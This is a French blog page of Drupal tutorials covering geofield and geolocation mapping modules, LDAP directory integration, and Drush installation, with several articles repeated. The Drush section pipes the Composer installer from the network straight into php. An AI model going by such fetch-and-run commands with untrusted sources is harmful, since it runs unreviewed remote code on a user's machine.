Do you really want to continue? (y/n): y
ctools was enabled successfully.                                                                                         [ok]
ctools defines the following permissions: use ctools import
geofield was enabled successfully.                                                                                       [ok]
geophp was enabled successfully.                                                                                         [ok]

A ce stade, on a uniquement un nouveau type de champ, qui peut être ajouté à des contenus.

Saisie des coordonnées

La saisie des coordonnées peut utiliser plusieurs options :

  • saisie directe des valeurs de latitude, longitude
  • définition d'une zone à partir d'une carte
  • encodage à partir d'une adresse
  • positionnement direct du marqueur sur une carte
  • combinaison de l'adresse et du positionnement

Le plus intuitif, à mon sens, reste la saisie d'une adresse et/ou le positionnement du marqueur sur la carte, qui est intéressant lorsque la position à saisir n'est pas une adresse (par exemple un point perdu dans la campagne ou la montagne...).

Défaut avec Geofield

Par défaut, une fois que geofield est installé, on peut voir sur la capture d'écran, que seuls 4 types de widgets sont disponibles par défaut :

  • GeoJSON : données au format json
  • Well Known Text (WKT) : format WKT, un format qui permet de définir le type de d'objet et ses coordonnées
  • Latitude / Longitude : 2 champs de saisie, un pour chaque donnée
  • Bounds : saisie de plusieurs points pour définir une frontière

Dans notre exemple, nous avons choisi Latitude / Longitude. L'ajout d'un contenu de type POI demande donc la saisie de la latitude et de la longitude du point.
C'est précis, mais pas très intuitif.


Si on a activé la géolocalisation HTML 5, on peut récupérer la localisation actuelle du navigateur en cliquant sur "Find my location" .

Dans ce deuxième exemple, on a changé le widget de saisie en GeoJSON. La saisie demande donc ce format, par exemple :

{"type":"Point",
"coordinates":[3.1,50.0] }

On constate également que l'affichage (pour l'instant) n'utilise que des champs textes : WKT, GeoJSON, KML, etc. :

Avec des widgets Graphiques

Plutôt que de faire une saisie manuelle des coordonnées, on peut vouloir placer le marqueur directement sur une carte. Pour ce faire, on peut utiliser plusieurs modules, tels que :

Geofield Gmap

L'installation est simple avec drush :

drush dl geofield_gmap
drush en -y geofield_gmap

Une fois le module téléchargé et activé, on dispose d'un nouveau Widget pour notre champ Localisation : Google Map.


On peut alors entrer une adresse, ou une ville dans le champ d'adresse, mais aussi travailler directement sur la carte.

A ce stade, on a donc une saisie et un rendu graphiques de la localisation sur notre type de contenu, en ayant installé 4 modules : ctools, geophp, geofield et geofield_gmap.

Ceci fonctionne bien pour un affichage individuel, mais si on veut afficher sur une seule carte les différents points, il va falloir aller plus loin et utiliser notamment les fonctionnalités de Views

Encodage

L'encodage consiste à transformer les données saisies en latitude / longitude, afin d'alimenter le champ geofield. Jusqu'ici, notre exemple n'a pas utilisé d'encodage, et il faut donc saisir ces données manuellement, ce qui n'est pas très user friendly.

Des modules d'encodage à partir d'adresse sont souvent utilisés. Dans ce domaine, on utilise souvent le couple de modules :

  • Address pour la saisie des adresses
  • Geocoder pour l'encodage à partir de l'adresse saisie

Cette partie sera traitée dans un autre article.

Restitution / affichage

Avec le module Geofield

Par défaut avec geofield, lorsqu'on visualise le contenu, le résultat est assez austère. L'affichage utilise le format WKT (Well Known Text). Par exemple :

POINT (3.1 50)

On peut modifier cet affichage, pour voir les différents autres formats texte.

Par exemple, si on choisit GeoJSON, on a alors les coordonnées en format JSON :

{"type":"Point","coordinates":[3.1,50]}

Pour améliorer la restitution, on peut activer le module Geofield map qui permet d'avoir un nouveau formatter pour la visualisation.

Une fois choisi Geofield Map, on dispose de beaucoup plus d'options pour l'affichage

Le résultat est déjà plus intéressant ; quand on affiche un contenu, la localisation est affichée sous la forme d'une Map Google :

Affichage avec d'autres modules

Il existe d'autres modules qui gèrent l'affichage du contenu, et qui peuvent être intégrés avec Views, afin de réaliser des cartes englobants plusieurs points.
Ces modules utilisent généralement des librairies Javascript, qui effectuent le rendu côté client.

On peut citer notamment :

  • Leaflet
  • OpenLayers
  • IP Geoloc

Nous verrons dans un autre article comment utiliser Leaflet, avec des clusters de point et des icônes spécifiques selon une taxonomie.

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie rapide avec Drupal

Comme nous le verrons dans cet article, il peut être très rapide d'ajouter des fonctions de cartographie sur un site Drupal, avec quelques modules simples.

Nous allons ici travailler avec une poignée de modules : geolocationctools, views, ip_geoloc et libraries

Quelques étapes seulement sont nécessaires pour y arriver :

  • Activer les modules
  • Créer ou modifier un type de contenu pour ajouter un champ de type "geolocation"
  • Pour aller plus loin, créer une vue reprenant nos différents points de vue

Télécharger et activer le module Geolocation

Avec drush le téléchargement et l'installation se font en deux lignes de commande :

drush dl geolocation
drush en geolocation geolocation_googlemaps geolocation_html5

Ceci active le module principal, ainsi que le "widget" Google Maps et la possibilité de géolocaliser via HTML5.

Création / Modification du contenu

Une fois le module activé, on peut ajouter un champ de type "Geolocation".

On choisit alors le type de "widget" pour la saisie : Google Map (une carte), Latitude / Longitude (2 cases pour la saisie) ou la géolocalisation HTML5.

Voyons le comportement de chacun en saisie...

Latitude / Longitude

Dans ce mode, il faut saisir directement la latitude et longitude. Cela peut être intéressant si on dispose déjà de ces informations.

Géolocalisation HTML 5

Dans ce mode, lorsqu'on coche la case, le navigateur nous propose d'utiliser nos coordonnées.

Ceci n'est évidemment intéressant que dans certains cas, lorsqu'on veut par exemple établir une localisation d'utilisateurs, ou éventuellement avec un site affiché sur mobile.

Google Map

Cette option est beaucoup plus visuelle. Elle s'appuie sur les API de Google Map pour réaliser un premier géocodage, à partir des informations saisies (via le bouton "Get location")

Dès lors, la carte s'affiche avec le marqueur, que l'on peut bouger (ceci se paramètre), afin d'affiner la position directement sur la carte.

Visualisation

De la même manière que pour la saisie, le module propose différents types de formateurs : simple texte, latitude ou longitude en text, carte google map statique, carte google map dynamique, html5 map.
Voyons donc les différents modes de rendu / affichage.

Simple texte

Pas très visuel, on affiche uniquement les données de longitude et latitude.

Par exemple, pour le mont Saint Michel on va trouver quelque chose comme

Geolocation is 48.63559154226376, -1.5108776092529297

Texte simple Latitude ou Latitude

Ceci affiche sous forme de texte la latitude OU la longitude selon le choix défini, de la même manière que précédemment.

Carte Google Map Statique

Ce format d'afichage nous permet déjà de rentrer dans le monde de la cartographie, et d'afficher les coordonnées sur une carte. On dispose de quelques options : la taille de la carte, le format d'image (PNG 8 bits par défaut), le type (route, satellite, hybride) et le niveau de zoom.

Tout ceci est réglable. Par défaut on obtient une carte statique (pas de zoom ni de déplacement).

Carte Google Map dynamique

Nous allons ici un cran plus loin, avec une carte dynamique, sur laquelle on va pouvoir zoomer et scroller. De la même manière que précédemment, on pourra fixer la taille de la carte, le niveau de zoom par défaut et le type de carte (route, satellite).

C'est souvent ce type d'affichage que l'on utilisera avec ce module.

On y retrouve les possibiltiés offertes par Google Map : zoom, déplacement de la carte, choix de l'affichage en mode route ou satellite.

 

 

 

 

HTML5 Image

Cet affichage montre une planisphère, avec la localisation de manière très vague. Personnellement je ne vois pas trop l'intérêt ?

Afficher plusieurs points sur la carte

Pour le moment, nous n'avons pu afficher qu'un seul point sur la carte, celui qui correspond à notre contenu.

Si on veut aller plus loin, il faut passer par le module Views. Il faut cependant ajouter un module qui permettra de faire le lien entre Geolocation et Views : IP Geolocation Views and Maps. Sans cela, il ne sera pas possible d'afficher une seule carte avec tous les contenus.
Commençons par télécharge et activer ces modules (libraries est un pré-requis pour ip_geoloc):

drush dl ctools views ip_geoloc libraries
drush en ctools views views_ui ip_geoloc libraries

Il faut alors créer une vue, qui va afficher les champs de nos contenus. On peut choisir un format "Map (Google API)" :

ainsi que le champ qui contient les données de géolocalisation, le type de marqueur, etc. :

On sauvegarde et on peut alors voir le résultat :

D'autres paramètres sont disponibles dans le module IP Geolocation : choix du marqueur, niveau de zoom et centre de la carte par défaut, etc. C'est un module très riche, et qui peut également s'interfacer avec d'autres modules tels que Leaflet, si l'on ne veut pas dépendre de Google Maps.

On peut aussi afficher des marqueurs différents, sur la base d'une taxonomie liée au contenu, par exemple

Conclusion

Nous avons vu qu'il est possible très rapidement d'ajouter des fonctions de cartographie dans Drupal. Nous verrons dans d'autres articles qu'il existe plusieurs modules permettant d'arriver au même résultat, avec plus ou moins de richesse et de souplesse.

L'avantage du module Geolocation est de proposer une approche tout en un : stockage des coordonnées, widget de saisie et modes d'affichage. Par contre, il n'est pas possible d'avoir une version textuelle de l'adresse en plus de la carte. C'est l'une des limitations de ce module.

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie rapide avec Drupal

Comme nous le verrons dans cet article, il peut être très rapide d'ajouter des fonctions de cartographie sur un site Drupal, avec quelques modules simples.

Nous allons ici travailler avec une poignée de modules : geolocationctools, views, ip_geoloc et libraries

Quelques étapes seulement sont nécessaires pour y arriver :

  • Activer les modules
  • Créer ou modifier un type de contenu pour ajouter un champ de type "geolocation"
  • Pour aller plus loin, créer une vue reprenant nos différents points de vue

Télécharger et activer le module Geolocation

Avec drush le téléchargement et l'installation se font en deux lignes de commande :

drush dl geolocation
drush en geolocation geolocation_googlemaps geolocation_html5

Ceci active le module principal, ainsi que le "widget" Google Maps et la possibilité de géolocaliser via HTML5.

Création / Modification du contenu

Une fois le module activé, on peut ajouter un champ de type "Geolocation".

On choisit alors le type de "widget" pour la saisie : Google Map (une carte), Latitude / Longitude (2 cases pour la saisie) ou la géolocalisation HTML5.

Voyons le comportement de chacun en saisie...

Latitude / Longitude

Dans ce mode, il faut saisir directement la latitude et longitude. Cela peut être intéressant si on dispose déjà de ces informations.

Géolocalisation HTML 5

Dans ce mode, lorsqu'on coche la case, le navigateur nous propose d'utiliser nos coordonnées.

Ceci n'est évidemment intéressant que dans certains cas, lorsqu'on veut par exemple établir une localisation d'utilisateurs, ou éventuellement avec un site affiché sur mobile.

Google Map

Cette option est beaucoup plus visuelle. Elle s'appuie sur les API de Google Map pour réaliser un premier géocodage, à partir des informations saisies (via le bouton "Get location")

Dès lors, la carte s'affiche avec le marqueur, que l'on peut bouger (ceci se paramètre), afin d'affiner la position directement sur la carte.

Visualisation

De la même manière que pour la saisie, le module propose différents types de formateurs : simple texte, latitude ou longitude en text, carte google map statique, carte google map dynamique, html5 map.
Voyons donc les différents modes de rendu / affichage.

Simple texte

Pas très visuel, on affiche uniquement les données de longitude et latitude.

Par exemple, pour le mont Saint Michel on va trouver quelque chose comme

Geolocation is 48.63559154226376, -1.5108776092529297

Texte simple Latitude ou Latitude

Ceci affiche sous forme de texte la latitude OU la longitude selon le choix défini, de la même manière que précédemment.

Carte Google Map Statique

Ce format d'afichage nous permet déjà de rentrer dans le monde de la cartographie, et d'afficher les coordonnées sur une carte. On dispose de quelques options : la taille de la carte, le format d'image (PNG 8 bits par défaut), le type (route, satellite, hybride) et le niveau de zoom.

Tout ceci est réglable. Par défaut on obtient une carte statique (pas de zoom ni de déplacement).

Carte Google Map dynamique

Nous allons ici un cran plus loin, avec une carte dynamique, sur laquelle on va pouvoir zoomer et scroller. De la même manière que précédemment, on pourra fixer la taille de la carte, le niveau de zoom par défaut et le type de carte (route, satellite).

C'est souvent ce type d'affichage que l'on utilisera avec ce module.

On y retrouve les possibiltiés offertes par Google Map : zoom, déplacement de la carte, choix de l'affichage en mode route ou satellite.

 

 

 

 

HTML5 Image

Cet affichage montre une planisphère, avec la localisation de manière très vague. Personnellement je ne vois pas trop l'intérêt ?

Afficher plusieurs points sur la carte

Pour le moment, nous n'avons pu afficher qu'un seul point sur la carte, celui qui correspond à notre contenu.

Si on veut aller plus loin, il faut passer par le module Views. Il faut cependant ajouter un module qui permettra de faire le lien entre Geolocation et Views : IP Geolocation Views and Maps. Sans cela, il ne sera pas possible d'afficher une seule carte avec tous les contenus.
Commençons par télécharge et activer ces modules (libraries est un pré-requis pour ip_geoloc):

drush dl ctools views ip_geoloc libraries
drush en ctools views views_ui ip_geoloc libraries

Il faut alors créer une vue, qui va afficher les champs de nos contenus. On peut choisir un format "Map (Google API)" :

ainsi que le champ qui contient les données de géolocalisation, le type de marqueur, etc. :

On sauvegarde et on peut alors voir le résultat :

D'autres paramètres sont disponibles dans le module IP Geolocation : choix du marqueur, niveau de zoom et centre de la carte par défaut, etc. C'est un module très riche, et qui peut également s'interfacer avec d'autres modules tels que Leaflet, si l'on ne veut pas dépendre de Google Maps.

On peut aussi afficher des marqueurs différents, sur la base d'une taxonomie liée au contenu, par exemple

Conclusion

Nous avons vu qu'il est possible très rapidement d'ajouter des fonctions de cartographie dans Drupal. Nous verrons dans d'autres articles qu'il existe plusieurs modules permettant d'arriver au même résultat, avec plus ou moins de richesse et de souplesse.

L'avantage du module Geolocation est de proposer une approche tout en un : stockage des coordonnées, widget de saisie et modes d'affichage. Par contre, il n'est pas possible d'avoir une version textuelle de l'adresse en plus de la carte. C'est l'une des limitations de ce module.

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Intégration Drupal avec un annuaire LDAP

Dans une architecture de type intranet, il est intéressant d'avoir une base de comptes commune, partagée entre plusieurs applications.
Ceci permet dans un premier temps d'avoir un seul couple login / mot de passe, et supprime la nécessite de créer manuellement des comptes dans chaque application.
Les annuaires LDAP sont souvent utilisés pour stocker les comptes, l'intérêt étant qu'ils sont intégrables avec de nombreuses applications (LDAP est un protocole normalisé), et qu'il est assez facile de mettre en place une architecture haute-disponibilité avec des annuaires LDAP, pour un coût négligeable.

Nous allons, dans la suite de cet article, montrer comment intégrer Drupal avec un annuaire LDAP, et quels sont les fonctionnalités offertes via cette intégration.

Article en cours de rédaction, à compléter !

Installation du module

Pré requis

Pour utiliser les modules, il faut que PHP dispose des librairies / extensions LDAP. Sur une distribution type Debian, ceci se fait via :

sudo apt-get install php5-ldap

Téléchargement du module Drupal

Pour Drupal 7, nous allons utiliser le module LDAP (https://www.drupal.org/project/ldap).
La documentation (en anglais) du module se trouve à http://drupal.org/node/997082.

L'installation via drush est simple :

drush dl ldap
Project ldap (7.x-2.0-beta8) downloaded to /var/www/monsite/sites/all/modules/ldap.                                  [success]
Project ldap contains 12 modules: ldap_authentication, ldap_sso, ldap_query, ldap_user, ldap_servers, ldap_test, ldap_feeds, ldap_views, ldap_authorization_drupal_role, ldap_authorization_og, ldap_authorization, ldap_help.

On constate tout de suite que ce module est en fait une suite de différents modules, qui offrent des fonctionnalités variées. Nous les citons ici dans l'ordre des dépendances :

  • LDAP Servers (ldap_servers) : fournit la configuration du module.
  • LDAP User Module (ldap_user) : fournit les fonctions permettant de gérer la correspondance entre les utilisateurs Drupal et ceux du LDAP, y compris entre les attributs du LDAP et les champs Drupal
  • LDAP Authentication (ldap_authentication) : fournit les fonctions d'authentification sur l'annuaire LDAP
  • LDAP Authorization (ldap_authorization) : fournit la capacité de faire correspondre des groupes LDAP à des rôles Drupal

Ces modules sont suffisants pour gérer l'interaction avec le LDAP pour les utilisateurs.
D'autres modules peuvent compléter ces fonctions :

  • LDAP Query (ldap_query) : permet de consruire des requêtes LDAP, qui seront utilisées dans d'autres modules
  • LDAP Feeds (ldap_feeds) : permet, sur la base des query prédéfinies, d'automatiser la création de contenu sur la base de requêtes LDAP
  • LDAP Views (ldap_views) : intégration des requêtes LDAP avec Views

Dans un premier temps, nous allons uniquement activer les modules Servers, User, Authentication et Authorization

drush en ldap_servers ldap_user ldap_authentication ldap_authorization ldap_authorization_drupal_role
The following extensions will be enabled: ldap_servers, ldap_user, ldap_authentication, ldap_authorization, ldap_authorization_drupal_role
Do you really want to continue? (y/n): y
ldap_user was enabled successfully.                                                                                      [ok]
ldap_authentication was enabled successfully.                                                                            [ok]
ldap_authorization was enabled successfully.                                                                             [ok]
ldap_authorization_drupal_role was enabled successfully.                                                                 [ok]
ldap_servers was enabled successfully.                                                                                   [ok]

Paramétrage

Pour procéder au paramétrage, il faut connaître quelques informations sur l'annuaire LDAP :

  • Adresse IP / hostname
  • Port d'écoute (généralement 389 en clair, 636 en LDAPS)
  • Base DN (la base de recherche dans l'annuaire)
  • Compte de "service" sur l'annuaire (pour éviter les connexions anonymes)
  • Mot de passe de ce compte

Ajout d'un annuaire

L'ajout / paramétrage d'un serveur d'annuaire se fait via l'URL : /admin/config/people/ldap/servers/add. [image à ajouter]

Connection Settings / Paramètres de connexion

C'est ici que l'on renseigne les éléments de connexion à l'annuaire :

  • Machine name : un nom "machine" unique
  • Name : le nom du serveur (nom indicatif, par exemple "Mon serveur LDAP")
  • Activé : cocher la case pour activer cette instance de serveur
  • LDAP Server Type : on peut définir quel type de serveur LDAP (défaut, Active Directory, OpenLDAP, Novell, Apple)
  • LDAP Server : adresse IP ou hostname du serveur
  • LDAP Port : port du serveur (389 par défaut)
  • Use Start-TLS : à cocher uniquement si l'annuaire est paramétré pour utiliser TLS
  • Follow LDAP Referrals : à cocher si le client doit suivre les referrals. Inutile si on n'a qu'un seul serveur LDAP

[image à ajouter] Par exemple, on peut avoir :

  • Machine name : my_ldap_server
  • Name : LDAP Server
  • Activé : Oui (coché)
  • LDAP Server Type : Open LDAP
  • LDAP Server : 10.0.3.16 (adresse IP du serveur LDAP)
  • LDAP Port : 389
  • Autres cases décochées

Binding Methode / Méthode de connexion

Cette section permet de renseigner les paramètres de connexion à l'annuaire. L'utilisation d'un compte de service est une bonne pratique.
Elle permet d'éviter les connexions anonymes, et d'isoler quel compte fait quelles requêtes : utile en cas de besoin d'analyse des logs.
On définit donc ici le type de connexion et les paramètres:

  • Type : Service Account Bind (avec un compte)
  • DN for non anonymous search : DN du compte (par exemple : cn=drupal_service,dc=example,dc=com)
  • Password for non-anonymous search : Mot de passe du compte

LDAP user to Drupal User Relationship / Relations entre utilisateurs Drupal et LDAP

Cette section permet de définir comment faire la relation entre les utilisateurs Drupal et LDAP. C'est ici que l'on définit les DN de base pour la rechercher des utilisateurs dans l'annuaire.

On peut définir plusieurs bases de recherche, si les comptes sont répartis dans plusieurs containers / branches.

On va également définir quels sont les attributs utilisés pour identifier les comptes :

  • AuthName attribute : uid
  • AccountName attribute : uid
  • Email attribute : mail
  • Persistent and Unique User ID Attribute : dn

Dans notre exemple, les comptes sont référencés par uid=XXXX,(BASEDN). Par exemple : uid=TSTLDAP1,ou=people,dc=example,dc=com.

User

Cette section, assez riche, permet de définir les interactions entre l'annuaire LDAP et le Drupal pour les utilisateurs.
On peut par exemple définir les règles de provisionnement des attributs entre LDAP et Drupal (et également dans l'autre sens) en faisant correspondre les champs LDAP et les champs Drupal.

Attention : une fois les champs source et destination définis, ne pas oublier de cocher les cases :

  • On Drupal User Creation : synchronisation à la création de l'utilisateur
  • On Synch to Drupal User : synchronisation lors du cron ou de la connexion de l'utilisateur

Il faut s'assurer que le type des champs de l'annuaire est compatible avec les champs Drupal.
Nous avons eu par exemple un problème avec un champ Drupal qui est une référence une taxonomie (Drupal attend un ID) alors que dans l'annuaire LDAP on avait un attribut de type Texte (le code de la taxonomie).

 

Il est également possible de créer un compte dans l'annuaire LDAP à partir de Drupal. Pour cela, il faut respecter le paramétrage suivant : Show option on user create form to determine how account conflict is resolved. Activer l'annuaire dans le "BASIC PROVISIONING TO LDAP SETTINGS Cocher : Create or Synch to LDAP entry when a Drupal account is created or updated. Only applied to accounts with a status of approved. Provide option on admin/people/create to create corresponding LDAP Entry.

Authentication

Cette partie permet de gérer le mode d'authentification :

  • Mixed mode : on teste d'abord l'authentification Drupal, puis LDAP
  • Only LDAP : seule l'authentification LDAP est utilisée, SAUF pour le super Administrateur (ID=1)
  • Authentication LDAP Server : cocher le(s) serveur(s) LDAP utilisé(s) pour l'authentification

On utilise souvent le mode Mixed, qui permet de garder quelques utilisateurs directement dans le Drupal, pour gérer les exceptions.

Authorization

Attention : les autorisations ne semblent fonctionner qu'avec des groupes LDAP ou un attribut de type memberof. On peut cependant assigner un rôle par défaut en utilisant plusieurs paramètres :

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Intégration Drupal avec un annuaire LDAP

Dans une architecture de type intranet, il est intéressant d'avoir une base de comptes commune, partagée entre plusieurs applications.
Ceci permet dans un premier temps d'avoir un seul couple login / mot de passe, et supprime la nécessite de créer manuellement des comptes dans chaque application.
Les annuaires LDAP sont souvent utilisés pour stocker les comptes, l'intérêt étant qu'ils sont intégrables avec de nombreuses applications (LDAP est un protocole normalisé), et qu'il est assez facile de mettre en place une architecture haute-disponibilité avec des annuaires LDAP, pour un coût négligeable.

Nous allons, dans la suite de cet article, montrer comment intégrer Drupal avec un annuaire LDAP, et quels sont les fonctionnalités offertes via cette intégration.

Article en cours de rédaction, à compléter !

Installation du module

Pré requis

Pour utiliser les modules, il faut que PHP dispose des librairies / extensions LDAP. Sur une distribution type Debian, ceci se fait via :

sudo apt-get install php5-ldap

Téléchargement du module Drupal

Pour Drupal 7, nous allons utiliser le module LDAP (https://www.drupal.org/project/ldap).
La documentation (en anglais) du module se trouve à http://drupal.org/node/997082.

L'installation via drush est simple :

drush dl ldap
Project ldap (7.x-2.0-beta8) downloaded to /var/www/monsite/sites/all/modules/ldap.                                  [success]
Project ldap contains 12 modules: ldap_authentication, ldap_sso, ldap_query, ldap_user, ldap_servers, ldap_test, ldap_feeds, ldap_views, ldap_authorization_drupal_role, ldap_authorization_og, ldap_authorization, ldap_help.

On constate tout de suite que ce module est en fait une suite de différents modules, qui offrent des fonctionnalités variées. Nous les citons ici dans l'ordre des dépendances :

  • LDAP Servers (ldap_servers) : fournit la configuration du module.
  • LDAP User Module (ldap_user) : fournit les fonctions permettant de gérer la correspondance entre les utilisateurs Drupal et ceux du LDAP, y compris entre les attributs du LDAP et les champs Drupal
  • LDAP Authentication (ldap_authentication) : fournit les fonctions d'authentification sur l'annuaire LDAP
  • LDAP Authorization (ldap_authorization) : fournit la capacité de faire correspondre des groupes LDAP à des rôles Drupal

Ces modules sont suffisants pour gérer l'interaction avec le LDAP pour les utilisateurs.
D'autres modules peuvent compléter ces fonctions :

  • LDAP Query (ldap_query) : permet de consruire des requêtes LDAP, qui seront utilisées dans d'autres modules
  • LDAP Feeds (ldap_feeds) : permet, sur la base des query prédéfinies, d'automatiser la création de contenu sur la base de requêtes LDAP
  • LDAP Views (ldap_views) : intégration des requêtes LDAP avec Views

Dans un premier temps, nous allons uniquement activer les modules Servers, User, Authentication et Authorization

drush en ldap_servers ldap_user ldap_authentication ldap_authorization ldap_authorization_drupal_role
The following extensions will be enabled: ldap_servers, ldap_user, ldap_authentication, ldap_authorization, ldap_authorization_drupal_role
Do you really want to continue? (y/n): y
ldap_user was enabled successfully.                                                                                      [ok]
ldap_authentication was enabled successfully.                                                                            [ok]
ldap_authorization was enabled successfully.                                                                             [ok]
ldap_authorization_drupal_role was enabled successfully.                                                                 [ok]
ldap_servers was enabled successfully.                                                                                   [ok]

Paramétrage

Pour procéder au paramétrage, il faut connaître quelques informations sur l'annuaire LDAP :

  • Adresse IP / hostname
  • Port d'écoute (généralement 389 en clair, 636 en LDAPS)
  • Base DN (la base de recherche dans l'annuaire)
  • Compte de "service" sur l'annuaire (pour éviter les connexions anonymes)
  • Mot de passe de ce compte

Ajout d'un annuaire

L'ajout / paramétrage d'un serveur d'annuaire se fait via l'URL : /admin/config/people/ldap/servers/add. [image à ajouter]

Connection Settings / Paramètres de connexion

C'est ici que l'on renseigne les éléments de connexion à l'annuaire :

  • Machine name : un nom "machine" unique
  • Name : le nom du serveur (nom indicatif, par exemple "Mon serveur LDAP")
  • Activé : cocher la case pour activer cette instance de serveur
  • LDAP Server Type : on peut définir quel type de serveur LDAP (défaut, Active Directory, OpenLDAP, Novell, Apple)
  • LDAP Server : adresse IP ou hostname du serveur
  • LDAP Port : port du serveur (389 par défaut)
  • Use Start-TLS : à cocher uniquement si l'annuaire est paramétré pour utiliser TLS
  • Follow LDAP Referrals : à cocher si le client doit suivre les referrals. Inutile si on n'a qu'un seul serveur LDAP

[image à ajouter] Par exemple, on peut avoir :

  • Machine name : my_ldap_server
  • Name : LDAP Server
  • Activé : Oui (coché)
  • LDAP Server Type : Open LDAP
  • LDAP Server : 10.0.3.16 (adresse IP du serveur LDAP)
  • LDAP Port : 389
  • Autres cases décochées

Binding Methode / Méthode de connexion

Cette section permet de renseigner les paramètres de connexion à l'annuaire. L'utilisation d'un compte de service est une bonne pratique.
Elle permet d'éviter les connexions anonymes, et d'isoler quel compte fait quelles requêtes : utile en cas de besoin d'analyse des logs.
On définit donc ici le type de connexion et les paramètres:

  • Type : Service Account Bind (avec un compte)
  • DN for non anonymous search : DN du compte (par exemple : cn=drupal_service,dc=example,dc=com)
  • Password for non-anonymous search : Mot de passe du compte

LDAP user to Drupal User Relationship / Relations entre utilisateurs Drupal et LDAP

Cette section permet de définir comment faire la relation entre les utilisateurs Drupal et LDAP. C'est ici que l'on définit les DN de base pour la rechercher des utilisateurs dans l'annuaire.

On peut définir plusieurs bases de recherche, si les comptes sont répartis dans plusieurs containers / branches.

On va également définir quels sont les attributs utilisés pour identifier les comptes :

  • AuthName attribute : uid
  • AccountName attribute : uid
  • Email attribute : mail
  • Persistent and Unique User ID Attribute : dn

Dans notre exemple, les comptes sont référencés par uid=XXXX,(BASEDN). Par exemple : uid=TSTLDAP1,ou=people,dc=example,dc=com.

User

Cette section, assez riche, permet de définir les interactions entre l'annuaire LDAP et le Drupal pour les utilisateurs.
On peut par exemple définir les règles de provisionnement des attributs entre LDAP et Drupal (et également dans l'autre sens) en faisant correspondre les champs LDAP et les champs Drupal.

Attention : une fois les champs source et destination définis, ne pas oublier de cocher les cases :

  • On Drupal User Creation : synchronisation à la création de l'utilisateur
  • On Synch to Drupal User : synchronisation lors du cron ou de la connexion de l'utilisateur

Il faut s'assurer que le type des champs de l'annuaire est compatible avec les champs Drupal.
Nous avons eu par exemple un problème avec un champ Drupal qui est une référence une taxonomie (Drupal attend un ID) alors que dans l'annuaire LDAP on avait un attribut de type Texte (le code de la taxonomie).

 

Il est également possible de créer un compte dans l'annuaire LDAP à partir de Drupal. Pour cela, il faut respecter le paramétrage suivant : Show option on user create form to determine how account conflict is resolved. Activer l'annuaire dans le "BASIC PROVISIONING TO LDAP SETTINGS Cocher : Create or Synch to LDAP entry when a Drupal account is created or updated. Only applied to accounts with a status of approved. Provide option on admin/people/create to create corresponding LDAP Entry.

Authentication

Cette partie permet de gérer le mode d'authentification :

  • Mixed mode : on teste d'abord l'authentification Drupal, puis LDAP
  • Only LDAP : seule l'authentification LDAP est utilisée, SAUF pour le super Administrateur (ID=1)
  • Authentication LDAP Server : cocher le(s) serveur(s) LDAP utilisé(s) pour l'authentification

On utilise souvent le mode Mixed, qui permet de garder quelques utilisateurs directement dans le Drupal, pour gérer les exceptions.

Authorization

Attention : les autorisations ne semblent fonctionner qu'avec des groupes LDAP ou un attribut de type memberof. On peut cependant assigner un rôle par défaut en utilisant plusieurs paramètres :

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Mise en place de fonctionnalités avancées

Drupal peut être considéré comme autre chose qu'un "simple" CMS, grâce à ses API et surtout ses nombreux modules contribués.

Il peut ainsi facilement être intégré au coeur d'un SI, par exemple pour l'authentification des utilisateurs (sur un annuaire LDAP ou Active Directory), en mode SSO avec CAS ou servir de "back-end" de services REST pour des applications mobiles.

On peut également mettre en place assez facilement des fonctions de géo-mapping.

Dans ce chapitre, nous allons décrire comme mettre en place ces différentes fonctionnalités avancées.

Catégorie: 

Par vincent59
Vincent Liefooghe

Mise en place de fonctionnalités avancées

Drupal peut être considéré comme autre chose qu'un "simple" CMS, grâce à ses API et surtout ses nombreux modules contribués.

Il peut ainsi facilement être intégré au coeur d'un SI, par exemple pour l'authentification des utilisateurs (sur un annuaire LDAP ou Active Directory), en mode SSO avec CAS ou servir de "back-end" de services REST pour des applications mobiles.

On peut également mettre en place assez facilement des fonctions de géo-mapping.

Dans ce chapitre, nous allons décrire comme mettre en place ces différentes fonctionnalités avancées.

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Installer Drush avec Composer

Depuis quelques temps déjà, Drush (DRUpal SHell) est disponible sur GitHub, et non plus sur http://drupal.org.

L'installation peut se faire via git ou via Composer. C'est cette méthode qui est nécessaire pour l'installation avec Drupal 8.

Installation des pré-requis sur la machine

Ces paquets sont utilisés pour récupérer les données via http et git. unzip est utilisé avec drush make pour dézipper certains fichiers.

apt-get install curl git unzip

Installation de Composer

L'installation de Composer est faite en global (pour tous les utilisateurs).

curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer

Installer Drush pour l'utilisateur courant

composer global require drush/drush:dev-master
ls -a .composer/vendor/bin
.  ..  boris  drush  drush.bat	drush.complete.sh  drush.php

Drush est installé dans le répertoire .composer/vendor/bin de l'utilisateur. Il faut ensuite ajouter ces lignes dans le .bashrc :

export PATH=$HOME/.composer/vendor/bin:$PATH

Installer Drush pour tous les utilisateurs

Si plusieurs utilisateurs ont accès à la machine, il est préférable d'avoir une installation globale :

git clone https://github.com/drush-ops/drush.git /usr/local/src/drush
cd /usr/local/src/drush
git checkout 
ln -s /usr/local/src/drush/drush /usr/bin/drush
composer install
drush --version
which drush

Voilà, on peut maintenant utiliser toute la richesse de drush pour installer / activer des modules, installer un site complet, etc.

 

 

Références :

http://www.drush.org/en/master/install/

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Installer Drush avec Composer

Depuis quelques temps déjà, Drush (DRUpal SHell) est disponible sur GitHub, et non plus sur http://drupal.org.

L'installation peut se faire via git ou via Composer. C'est cette méthode qui est nécessaire pour l'installation avec Drupal 8.

Installation des pré-requis sur la machine
Ces paquets sont utilisés pour récupérer les données via http et git. unzip est utilisé avec drush make pour dézipper certains fichiers.

apt-get install curl git unzip

Installation de Composer
L'installation de Composer est faite en global (pour tous les utilisateurs).

curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer

Installer Drush pour l'utilisateur courant

composer global require drush/drush:dev-master
ls -a .composer/vendor/bin
.  ..  boris  drush  drush.bat	drush.complete.sh  drush.php

Drush est installé dans le répertoire .composer/vendor/bin de l'utilisateur. Il faut ensuite ajouter ces lignes dans le .bashrc :

